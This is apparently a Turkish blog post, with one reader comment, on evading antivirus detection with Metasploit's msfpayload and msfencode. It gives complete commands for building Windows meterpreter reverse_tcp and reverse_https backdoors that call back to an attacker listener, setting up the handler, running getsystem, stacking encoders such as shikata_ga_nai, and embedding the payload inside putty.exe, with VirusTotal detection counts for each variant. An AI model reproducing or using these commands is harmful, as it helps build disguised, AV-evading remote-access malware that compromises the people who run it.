23 Şubat 2014 Pazar

AV Bypass: MsfPayload & MsfEncode

AV Bypass: MsfPayload & MsfEncode

Antivirüslerin atlatılması için Metasploit tarafından sağlanan msfpayload ve msfencode modülleri kullanılabilir. Kullanılabilecek en temel yöntemler aşağıdaki gibidir. Her adımda oluşturulan uygulamanın tespit edilmesi VirusTotal ile kontrol edilmiştir. VirusTotal kullanımı ile ilgili ayrıntılı bilgi için bakınız.

1) MsfPayload ile Exe oluşturma
MsfPayload kullanılarak oluşturulabilecek payloadlar aşağıdaki gibi listelenir.
# msfpayload -l

Sadece msfpayload kullanılarak zararlı bir yazılım oluşturmak için X parametresi kullanılabilir. Oluşturulan dosyanın Sha256 özeti de saklanabilir.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 X > Uygulama1.exe
# sha256sum Uygulama1.exe

Bu payload ters bir bağlantı oluşturara 192.168.8.145 IP'li bilgisayarın 4567 portuna reverse_tcp bağlantısı oluşturmaktadır. Bu bağlantıyı dinlemek için bir handler açılmalıdır. Handler açılması için gerekli ayarlamaların gerçekleştirilmesi aşağıdaki gibidir:
# msfconsole
# msf > use exploit/multi/handler
# msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
# msf exploit(handler) > set ExitOnSession false
# msf exploit(handler) > set LHOST 192.168.8.145
# msf exploit(handler) > set LPORT 4567
# msf exploit(handler) > show options

Gerekli ayarlamalar yapıldıktan sonra Handler başlatılır.
# msf exploit(handler) > exploit -j

Bir bilgisayarda bu uygulama (Uygulama1.exe) çalıştırıldığında meterpreter bağlantısı oluşacaktır. Bağlantı oluştuktan sonra ilgili oturuma gidilerek meterpreter bağlantısına düşülür ve istenilen komutlar çalıştırılır.
# sessions
# sessions -i 1
# meterpreter > getuid
# meterpreter > getsystem
# meterpreter > getuid

Ancak bu uygulama bir çok antivirüs tarafından yakalanmaktadır. Oluşturulan  uygulamanın VirusTatal analiz sonucunda 50 AV'den 37 tanesi tarafından tespit edilmiştir.


2) Raw halindeki Payload'u Yeniden Kodlama
MsfPayload ile Raw halinde oluşturulan bir payload MsfEncode ile yeniden kodlanabilir. "x86/shikata_ga_nai" adlı kodlayıcı ile 3 kere kodlanan Raw halinde bir payload oluşturulması aşağıdaki gibidir.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 R | msfencode -e x86/shikata_ga_nai -t exe -c 3 -o Uygulama2.exe

Not: Kodlayıcıların kullanılması uygulama boyutunu arttırmaktadır.
MsfEncode tarafından kullanılabilecek kodlayıcıların listesi aşağıdaki gibidir:
# msfencode -l

Not: Rank olarak yüksek olan kodlayıcıların kullanılması antivirüslerden saklanılması için bir yöntemdir.
Oluşturulan 2. uygulamanın VirusTotal analizi sonucunda 35 AV tarafından tespit edildiği görülmektedir.


3) Standart Uygulamaya Zararlı Kod Gömme
Hazırlanan uygulama kodunun anti virüsler tarafından tespit edilmesini engellemek için varsayılan şablonlar yerine farklı şablonlar tercih edilmelidir. msfencode ile alternatif şablon kullanmak için '-x' parametresi kullanılmaktadır. Bunun için normalde zararlı olmayan bir uygulamaya zararlı kod gömülebilir. Bu işlem aşağıdaki gibidir:
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 R | msfencode -e x86/shikata_ga_nai -t exe -c 3 -x /root/putty.exe -o Uygulama3.exe

Oluşturulan 3. uygulamanın VirusTotal analizi sonucunda 33 AV tarafından tespit edildiği görülmektedir.


4) Çoklu Kodlama Yönteminin Kullanılması
MsfPayload ile oluşturulan payload  kodlanırken birden fazla kodlayıcı ardışık olarak da kullanılabilir.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 R | msfencode -e x86/shikata_ga_nai -c 3 -t raw | msfencode -e x86/call4_dword_xor -t raw -c 2| msfencode -e x86/countdown -x /root/putty.exe -t exe -o Uygulama4.exe

Oluşturulan 3. uygulamanın VirusTotal analizi sonucunda 34 AV tarafından tespit edildiği görülmektedir.

Kullanılabilecek bir diğer uygulama aşağıdaki gibi oluşturulabilir:
msfpayload windows/meterpreter/reverse_https LHOST=192.168.2.48 LPORT=443 EXITFUNC=thread R |  msfencode -e x86/shikata_ga_nai -c 2 -t raw | msfencode -e x86/jmp_call_additive -c 2 -t raw | msfencode -e x86/call4_dword_xor  -c 2 -t raw | msfencode -e x86/jmp_call_additive -c 2 -t raw | msfencode -e x86/call4_dword_xor  -c 2 -t exe -o Uygulama5.exe

Sonuç

Msfpayload ve Msfencode modüllerinin tek başlarına kullanımı AV'lerden saklanmak için yeterli olmayabilmektedir. Üstelik kodlama işlemi de bazı durumlarda AV'lerin yakalanmasına sebep olabilmektedir. Bu sebeplerden dolayı başka çözümler üzerine yoğunlaşılması gerekmektedir.

1 yorum:

  1. Harbidende msfencode hiç yüz güldürmüyor eskidenmiş onlar, av ler çakmışlar iskeleti

    YanıtlaSil